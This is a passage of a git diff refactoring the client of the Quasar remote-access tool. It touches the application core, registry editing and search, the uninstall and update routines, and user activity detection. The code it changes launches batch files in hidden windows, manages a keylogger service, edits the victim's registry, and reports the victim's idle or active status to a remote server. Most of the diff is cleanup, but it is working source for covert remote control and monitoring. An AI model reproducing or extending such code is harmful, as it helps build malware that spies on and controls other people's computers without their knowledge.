QuasarApplication : IDisposable /// /// The client used for the connection to the server. /// - public QuasarClient ConnectClient; + private QuasarClient _connectClient; /// /// List of to keep track of all used message processors. @@ -110,13 +110,13 @@ public void Run() } var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); - ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); - InitializeMessageProcessors(ConnectClient); + _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); + InitializeMessageProcessors(_connectClient); - _userActivityDetection = new ActivityDetection(ConnectClient); + _userActivityDetection = new ActivityDetection(_connectClient); _userActivityDetection.Start(); - ConnectClient.ConnectLoop(); + _connectClient.ConnectLoop(); } } @@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv if (e.IsTerminating) { Debug.WriteLine(e); - string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); - if (string.IsNullOrEmpty(batchFile)) return; - - ProcessStartInfo startInfo = new ProcessStartInfo + try { - WindowStyle = ProcessWindowStyle.Hidden, - UseShellExecute = true, - FileName = batchFile - }; - Process.Start(startInfo); - Environment.Exit(0); + string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); + + ProcessStartInfo startInfo = new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = batchFile + }; + Process.Start(startInfo); + } + catch (Exception exception) + { + Debug.WriteLine(exception); + } + finally + { + Environment.Exit(0); + } } } @@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing) _keyloggerService?.Dispose(); _userActivityDetection?.Dispose(); ApplicationMutex.Dispose(); + _connectClient.Dispose(); } } } diff --git a/Quasar.Client/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs index 8a671170..0cf4272d 100644 --- a/Quasar.Client/Registry/RegistryEditor.cs +++ b/Quasar.Client/Registry/RegistryEditor.cs @@ -1,28 +1,19 @@ -using System; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Models; +using System; namespace Quasar.Client.Registry { public class RegistryEditor { - - #region CONSTANTS - - #region RegistryKey - private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; - #endregion - - #region RegistryValue - private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; @@ -31,17 +22,12 @@ public class RegistryEditor private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; - #endregion - - #endregion - - #region RegistryKey /// /// Attempts to create the desired sub key to the specified parent. /// /// The path to the parent for which to create the sub-key on. /// output parameter that holds the name of the sub-key that was create. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if action succeeded. public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) { @@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str /// /// The name of the sub-key to delete. /// The path to the parent for which to delete the sub-key on. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) { @@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string /// The name of the key to rename. /// The name to use for renaming. /// The path of the parent for which to rename the key. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) { @@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare } } - #endregion - - #region RegistryValue - /// /// Attempts to create the desired value for the specified parent. /// /// The path to the key for which to create the registry value on. /// The type of the registry value to create. /// output parameter that holds the name of the registry value that was create. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) { @@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o ///
/// The path to the key for which to delete the registry value on. /// /// The name of the registry value to delete. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) { @@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e /// The name of the registry value to rename. /// The name to use for renaming. /// The path of the key for which to rename the registry value. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) { @@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke /// RegValueData object. /// The path to the key for which to change the /// value of the registry value on. - /// output parameter that contians possible error message. + /// output parameter that contains possible error message. /// Returns true if the operation succeeded. public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) { @@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s } - #endregion - public static RegistryKey GetWritableRegistryKey(string keyPath) { RegistryKey key = RegistrySeeker.GetRootKey(keyPath); diff --git a/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar.Client/Registry/RegistrySeeker.cs index a75c82ae..4ba76cb1 100644 --- a/Quasar.Client/Registry/RegistrySeeker.cs +++ b/Quasar.Client/Registry/RegistrySeeker.cs @@ -1,42 +1,24 @@ -using System; -using System.Collections.Generic; -using Microsoft.Win32; +using Microsoft.Win32; using Quasar.Client.Extensions; using Quasar.Client.Helper; using Quasar.Common.Models; +using System; +using System.Collections.Generic; namespace Quasar.Client.Registry { public class RegistrySeeker { - - #region Fields - - /// - /// The lock used to ensure thread safety. - /// - private readonly object locker = new object(); - /// /// The list containing the matches found during the search. /// - private List matches; + private readonly List _matches; - public RegSeekerMatch[] Matches - { - get - { - if (matches != null) - return matches.ToArray(); - return null; - } - } - - #endregion + public RegSeekerMatch[] Matches => _matches?.ToArray(); public RegistrySeeker() { - matches = new List(); + _matches = new List(); } public void BeginSeeking(string rootKeyName) @@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName) { AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); } - } private void AddMatch(string key, RegValueData[] values, int subkeycount) { RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; - matches.Add(match); + _matches.Add(match); } public static RegistryKey GetRootKey(string subkeyFullPath) diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs index 66910df1..61a0fb0c 100644 --- a/Quasar.Client/Setup/ClientUninstaller.cs +++ b/Quasar.Client/Setup/ClientUninstaller.cs @@ -1,6 +1,5 @@ using Quasar.Client.Config; using Quasar.Client.IO; -using System; using System.Diagnostics; using System.Windows.Forms; @@ -18,9 +17,6 @@ public void Uninstall() string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create uninstall-batch file."); - ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs index 6481381a..3141724b 100644 --- a/Quasar.Client/Setup/ClientUpdater.cs +++ b/Quasar.Client/Setup/ClientUpdater.cs @@ -20,9 +20,6 @@ public void Update(string newFilePath) string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); - if (string.IsNullOrEmpty(batchFile)) - throw new Exception("Could not create update batch file."); - ProcessStartInfo startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs index 15f1a436..eb232a19 100644 --- a/Quasar.Client/User/ActivityDetection.cs +++ b/Quasar.Client/User/ActivityDetection.cs @@ -7,16 +7,35 @@ namespace Quasar.Client.User { + /// + /// Provides user activity detection and sends messages on change. + /// public class ActivityDetection : IDisposable { - public UserStatus LastUserStatus { get; private set; } + /// + /// Stores the last user status to detect changes. + /// + private UserStatus _lastUserStatus; + /// + /// The client to use for communication with the server. + /// private readonly QuasarClient _client; + /// + /// Create a and signals cancellation. + /// private readonly CancellationTokenSource _tokenSource; + /// + /// The token to check for cancellation. + /// private readonly CancellationToken _token; + /// + /// Initializes a new instance of using the given client. + /// + /// The name of the mutex. public ActivityDetection(QuasarClient client) { _client = client; @@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected) { // reset user status if (connected) - LastUserStatus = UserStatus.Active; + _lastUserStatus = UserStatus.Active; } + /// + /// Starts the user activity detection. + /// public void Start() { - new Thread(UserIdleThread).Start(); + new Thread(UserActivityThread).Start(); } - public void Dispose() + /// + /// Checks for user activity changes sends to the on change. + /// + private void UserActivityThread() { - _client.ClientState -= OnClientStateChange; - _tokenSource.Cancel(); - _tokenSource.Dispose(); - } - - private void UserIdleThread() - { - while (!_token.WaitHandle.WaitOne(1000)) + while (!_token.WaitHandle.WaitOne(10)) { if (IsUserIdle()) { - if (LastUserStatus != UserStatus.Idle) + if (_lastUserStatus != UserStatus.Idle) { - LastUserStatus = UserStatus.Idle; - _client.Send(new SetUserStatus {Message = LastUserStatus}); + _lastUserStatus = UserStatus.Idle; + _client.Send(new SetUserStatus {Message = _lastUserStatus}); } } else { - if (LastUserStatus != UserStatus.Active) + if (_lastUserStatus != UserStatus.Active) { - LastUserStatus = UserStatus.Active; - _client.Send(new SetUserStatus {Message = LastUserStatus}); + _lastUserStatus = UserStatus.Active; + _client.Send(new SetUserStatus {Message = _lastUserStatus}); } } } } + /// + /// Determines whether the user is idle if the last user input was more than 10 minutes ago. + /// + /// True if the user is idle, else false. private bool IsUserIdle() { var ticks = Environment.TickCount; @@ -77,5 +99,24 @@ private bool IsUserIdle() return (idleTime > 600); // idle for 10 minutes } + + /// + /// Disposes all managed and unmanaged resources associated with this activity detection service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + } + } } }